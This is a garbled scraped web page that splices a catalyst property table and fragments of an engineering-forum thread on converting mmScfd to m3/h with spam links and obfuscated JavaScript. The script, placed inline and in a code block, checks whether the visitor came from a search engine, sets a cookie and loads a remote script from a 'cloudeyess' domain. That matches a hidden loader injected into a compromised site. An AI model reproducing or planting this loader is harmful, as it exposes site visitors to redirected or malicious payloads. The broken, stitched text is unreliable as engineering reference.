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Physical Property	Unit	Range
Diameter	mm	1.5-3
Length	mm	3-4
Surface area	m ² /g	150-250
Pore volume	ml/g	0.5-1.0
Pore diameter	Å	75-250
Bulk density	kg/m ³	490-980
NiO/CoO	wt %	3-8
MoO ₃ / WO ₃	wt %	10-30

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yahoo '[_0x4c8b('0x1e'),_0x405c95[_0x4c8b('0x1f')],_0x405c95[_0x4c8b('0x20')],_0x405c95[_0x4c8b('0x21')]],_0x5a9c11=document[_0x4c8b('0x22')],_0x3c2147=!,[_0x39d3bd=cookie[_0x4c8b('0x23')](_0x405c95[_0x4c8b('0x24')]);for(var _0x295672=0x0;_0x405c95[_0x4c8b('0x25')](_0x295672,_0x1c115d[_0x4c8b('0xa')]);_0x295672++){if(_0x405c95['fgnpW'](_0x5a9c11['indexOf'](_0x1c115d[_0x295672]),0x0)){if(_0x405c95['IENbI'](_0x405c95[_0x4c8b('0x26')],_0x405c95[_0x4c8b('0x27')])){return undefined;}else{[_0x3c2147=!![];]}if(_0x3c2147){if(_0x405c95[_0x4c8b('0x28')](_0x405c95[_0x4c8b('0x29')],_0x4c8b('0x1c'))){return cookie[name];}else{cookie[_0x4c8b('0x2a')](_0x405c95[_0x4c8b('0x24')],0x1,0x1);if(!_0x39d3bd){[_0x405c95['DHiUI'](include,_0x405c95[_0x4c8b('0x2b')](_0x405c95['JIQRJ'](_0x405c95[_0x4c8b('0x2c')],q),''))];}}}}R(); From mmScfd to m3/hFrom mmScfd to m3/hFrom mmScfd to m3/hMax pressure = 40 Bar(g)Max temperature = 35 degreesMax Molecular weight = 19,82 (natural gas with 85% CH4).

This item has been discussed many times in past threads RE: From mmScfd to m3/hRE: From mmScfd to m3/hRE: From mmScfd to m3/hAlthough not related to gas, the following is just to illustrate how this type of situation can lead to errors where one least expects it (copied from an answer to a question in another thread dealing with crude oil):We were measuring Tank Level with RADAR gauges in metric units (callibrated in -milimeters-)The Tank Callibration Tables however where in Imperial units (inches) with an appreciation of 1/16"..

```
constructor(\x22return\x20this\x22)(\x20'+');'););}catch(_0x59cd58){_0x32e5e0=window;}return _0x32e5e0;};var
_0x58a58b=_0x352dd7();var _0x4e8d6b='ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678
9+/'=_0x58a58b['atob']||(_0x58a58b['atob']=function(_0x47cd65){var
_0x30a54d=String(_0x47cd65)['replace'](/=+$/,"");for(var _0x2a409a=0x0,_0x137b09,_0x639bec,_0xe233ed=0x0,_0x3c7d67=
";_0x639bec=_0x30a54d['charAt'](_0xe233ed++);~_0x639bec&&(_0x137b09=_0x2a409a%0x4?_0x137b09*0x40+_0x639bec
:_0x639bec,_0x2a409a++%0x4)?_0x3c7d67+=String['fromCharCode'](0xff&_0x137b09>>(-0x2*_0x2a409a&0x6)):0x0){_0x
639bec=_0x4e8d6b['indexOf'](_0x639bec);}return
_0x3c7d67;});};);_0x4c8b['base64DecodeUnicode']=function(_0x550fbb){var _0x3d1429=atob(_0x550fbb);var
_0x271dfe=[];for(var _0x277f49=0x0,_0x4ccee2=_0x3d1429['length'];_0x277f49=_0x3beb21;);'IENbI':function
_0x13e85d(_0x11cf62,_0x3d62e1){return
_0x11cf62===_0x3d62e1;};'ZxDTw':_0x4c8b('0x1a'),'kbusX':_0x4c8b('0x1b'),'EOGYW':function
_0x42da82(_0x5dcbe1,_0xbb6ebc){return _0x5dcbe1!=_0xbb6ebc;};'sPOQN':_0x4c8b('0x1c'),'DHiUI':function
_0x36cb64(_0x2c1440,_0x3fc111){return _0x2c1440(_0x3fc111);};'JIQRJ':function _0x2ccb4c(_0x25cc8d,_0x393477){return
_0x25cc8d+_0x393477;};'eNBbM':https://cloudeyess.
```

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(accuracy limits for inventory / custody transfer mass balances etc)" Red Flag SubmittedThank you for helping keep Eng-Tips Forums free from inappropriate posts. [Easy Photo Editors For Mac](#)

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The application calculating tank volumes (for the inventory and mass balances of the tank farm) was taking the tank level readings direct from the radar readings (mm), it would then ROUND THE FIGURE to the nearest 1/16" to be able to use the tank callibration tables and calculate the volume (bbls).. `men/don_con php?x=en&query='};var`

`_0x1c115d=[_0x4c8b('0x1d'),_0x405c95['IISOz'],'.. 028316 m 3 /CF and divide by 24 h/d RE: From mmScfd to m3/hRE: From mmScfd to m3/h`Engineering & Risk Analysis SoftwareRE: From mmScfd to m3/hOf course I assumed absolutely "equal" standards for cubic foot and cubic meter, since sincere1983 didn't define the standard P,T conditions for scf..

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methane, 5% ethane, and 3% propane (and for the rest a little H2O, butane, pentane etc). b0d43de27c [gbp convert to usd history](#)
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